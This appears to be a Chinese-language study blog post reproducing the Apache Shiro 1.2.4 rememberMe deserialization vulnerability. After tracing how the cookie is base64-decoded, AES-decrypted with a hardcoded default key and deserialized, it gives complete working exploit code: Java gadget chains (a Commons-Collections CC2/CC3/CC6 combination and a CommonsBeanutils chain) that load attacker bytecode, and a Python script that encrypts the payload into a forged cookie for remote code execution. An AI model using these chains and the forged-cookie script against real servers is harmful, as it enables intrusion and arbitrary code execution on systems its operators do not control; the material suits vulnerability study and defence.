环境搭建: github上把源码拉下来 git clone https://github.com/apache/shiro.git cd shiro git checkout shiro-root-1.2.4 拉下源码后编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2
1 2 3 4 5 6 <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>runtime</scope> </dependency>
漏洞复现: 运行tomcat之后,登录抓包发送,发现响应包就带有remberme字段
加密过程分析: 然后就是去看一下这个remberme的字段在java里面是如何生成的?
然后在这个函数里面发现了base64解码的操作,说明数据是经过一次base64加密的
然后去看哪个方法调用了getRemberedSerializedIdentity函数,然后找到了如下这个函数
看代码发现bytes获取到getRemberedSerializedIdentity函数返回的值后又被传到了converBytesToPrincipals方法里面,然后跟进去看看
发现总共两个操作,一个解码,一个反序列化函数,然后看一看decrypt函数,然后发现又调用了一次这个函数
跟进去发现是一个接口,然后传进去一个加密的字段,然后是一个key
说明getDecryptionCipherKey就是获取key,跟进去看看
发现是一个常量,看看哪里赋值了
然后就是一直找调用函数的方法
然后就成功找到key了,很简单,上面的过程只需要去找调用目标函数的其他函数即可 同样我们发现文档里面注释写了是aes加密
总结: 构造恶意的序列化cookie remberMeDE的值->base64解码->aes(利用key)解密->反序列化->执行恶意代码
commons-collections_3.2.1_payload利用 这样的话加解密流程就已经清楚了,接下来就是构造payload了,很多人会说使用cc链去打,因为在shiro里的外部库里面有这个依赖
但实际上这个包是一个test依赖,而maven在加载的时候只会加载compile和runtime的依赖,所以实际上不添加依赖行不通
但是我们可以手动添加一下,尝试用cc打一下(毕竟这只是shiro默认的,在实际生产环境中可能会加载这个依赖)
cc2+3+6(ysoserial的cc2链也能打通,是cc4.x的依赖) 第一波直接用cc6去打发现报错,提示无法加载到一个类其实就是transformer数组那个类
然后断点下到shiro反序列化的时候即调用readobject的时候
但仔细看代码发现他调用的并不是原生的ObjectInputStream的readobject,而是ClassResolvingObjectInputStream的 更进去看一下发现这个类重写了resolveClass方法(java反序列化一定会调用的一个方法) 对比没有重写原生的来看
发现调用forname的类不一样,所以我们看一下重写的ClassUtils的forname
仔细看发现可能会调用三次loadclass类加载(现成类加载器,当前类加载器以及系统类加载器) 宏观来看可以理解为classUtils的forname不能加载transformer数组类,而class的forname是可以的(仔细来看有点麻烦,是和tomcat的内置有关系)
所以回顾一下之前学的几条链,找一下哪些不用数组 最后找到的是cc2+cc6+cc3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class shiro_236 { public static void main(String[] args)throws Exception { //cc3 TemplatesImpl templates = new TemplatesImpl(); Class tc=templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); Field bytecodesField=tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://Security/JavaStudy/java_src/serialize/tmp/Test.class")); byte[][] codes={code}; bytecodesField.set(templates,codes); //cc2 InvokerTransformer invokerTransformer =new InvokerTransformer("newTransformer",null,null); //cc6 HashMap<Object,Object> map=new HashMap<>(); Map<Object,Object> lazyMap= LazyMap.decorate(map,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry,"bbbb"); lazyMap.remove(templates); Class c=LazyMap.class; Field factoryField=c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,invokerTransformer); serialize(map2); //unserialize("ser.bin"); } public static void serialize(Object obj)throws IOException { ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{ ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename)); Object obj=ois.readObject(); return obj; } }
然后exp.py运行,把生成的cookie放到bp里面替换发送就能弹窗了
exp.py: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import base64 import uuid from random import Random from Crypto.Cipher import AES def get_file_data(filename): with open(filename, 'rb') as f: data = f.read() return data def aes_enc(data): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext def aes_dec(enc_data): enc_data = base64.b64decode(enc_data) unpad = lambda s: s[:-s[-1]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16:]) plaintext = unpad(plaintext) return plaintext if __name__ == '__main__': data = get_file_data("ser.bin") print(aes_enc(data))
原生shiro commonsBeautils打shiro ● 属性复制:能把一个 JavaBean 属性值复制到另一个,便于 DTO 和实体类数据转换。 ● 属性访问:可动态访问和修改 JavaBean 属性,依属性名动态操作。 ● 数组和集合处理:能处理 JavaBean 中数组和集合类型属性。 ● 类型转换:属性复制时可自动进行类型转换。 ● 嵌套属性操作:支持对嵌套 JavaBean 属性进行操作。
JavaBean 是一种遵循特定编程约定的 Java 类,基本特征 ● 私有属性:JavaBean 类会将数据封装成私有属性,以此来保证数据的安全性,防止外部代码直接对其进行修改。 ● 公共访问方法:为每个私有属性提供对应的公共 getter 和 setter 方法,外界通过这些方法来访问和修改属性。 ● 无参构造方法:JavaBean 必须包含一个无参的构造方法,这使得在创建对象实例时更加灵活,也便于一些框架(如 Spring)来实例化对象。 commonsBeautils就是可用通过PropertyUtils.getProperty来获取一个javabean的某一个变量的内容
这里getProperty方法就会自动调用person类的get$name/$age方法来获取名字或者年龄 显然这里就存在一个可能会动态执行代码的地方,跟到getProperty里面看看 发现里面调用了另一个对象的getProperty,在更进去看看,发现调用了getNestedProperty方法
然后看下面不满足那几个if条件会调用getSimpleProperty方法
更进去里面动态调试后会发现它会调用我们传入的属性值的set和get方法
然后接着就会有根据获取到的方法来进行反射调用
然后我们可以想到在TemplatesImpl类里面有个getOutputProperties方法,用到了newtransformer
我们知道newtramsformer是可以动态加载类的 然后注意到getOutputProperties是get打头的,是符合javabean的格式 然后结合cc3的templates,缝合一个暂时的代码
发现就能弹计算器了,所以接下来要做的就是去找一个链子,看来头是能反序列化的,然后中间又是能调用getProperty方法
tip: 因为在调用getProperty方法的时候,会把get和传进去的参数进行拼接然后调用getOutputProperties方法,在这个过程中java会把传参内容的首字母变成大写,而当我们直接传首字母为大写的参数的时候,他并不会弹计算器,这是因为在java中是小驼峰读法,当第一个字母为大写的时候,会识别不到这个参数,就会导致后续的都不会执行 然后找到了BeanComparator的compare方法调用了getProperty,而且变量可控
然后想到在cc2的时候会用到优先队列,在优先队列里的readobjct里面会调用一个heapify,然后heapify会调siftDown,siftDown会调用siftDownUsingComparator方法,在这个方法里面会调用comparator的compare方法
然后再cc2里面还调用了TransformingComparator,然后他的comparer方法会调用transformer的transform方法和compare方法 所以这整条链就连起来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class commonsBeautils { public static void main(String[] args)throws Exception{ //cc3 TemplatesImpl templates = new TemplatesImpl(); Class tc=templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); Field bytecodesField=tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); // Field tfactoryField=tc.getDeclaredField("_tfactory"); // tfactoryField.setAccessible(true); // tfactoryField.set(templates, new TransformerFactoryImpl()); byte[] code= Files.readAllBytes(Paths.get("D://Security/JavaStudy/java_src/serialize/tmp/Test.class")); byte[][] codes={code}; bytecodesField.set(templates,codes); //cb //PropertyUtils.getProperty(templates,"outputProperties"); BeanComparator beanComparator = new BeanComparator("outputProperties"); //cc2 TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(2); Class<PriorityQueue> c=PriorityQueue.class; Field comparatorField = c.getDeclaredField("comparator"); comparatorField.setAccessible(true); comparatorField.set(priorityQueue,beanComparator); serialize(priorityQueue); //unserialize("ser.bin"); } public static void serialize(Object obj)throws IOException { ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{ ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename)); Object obj=ois.readObject(); return obj; } }
但是最后exp.py执行之,替换remberme字段发送之后会报一个错,显示找不到
这是一个cc的东西,但是并没用到cc,为什么会报错呢?原因是cb在设计的时候和cc有很多重合的地方 BeanComparator的构造函数会传入一个ComparableComparator
而ComparableComparator实际上是cc里面的
但是下面有另一个beanComparator的构造方法,可以自己传一个comparator(cb有或者jdk里面有就行了) 最后找到的代替(既要继承comparator接口也要继承serialize接口)是
最后修改一下代码的这里就能弹计算器了
tip: 如果最后要用ysoserial打的话,要确保commons-beanutils的版本和shiro是一样的
不然就会报错
总结: 这条链就是引入了一种基于javabean的攻击方式,而这种攻击方式是在后续会经常用到的,比如fastjson,可以仔细多学习一下~
参考资料: https://www.bilibili.com/video/BV1uf4y1T7Rq?spm_id_from=333.788.videopod.sections&vd_source=434900a4c0c6e048d25be4e728623bee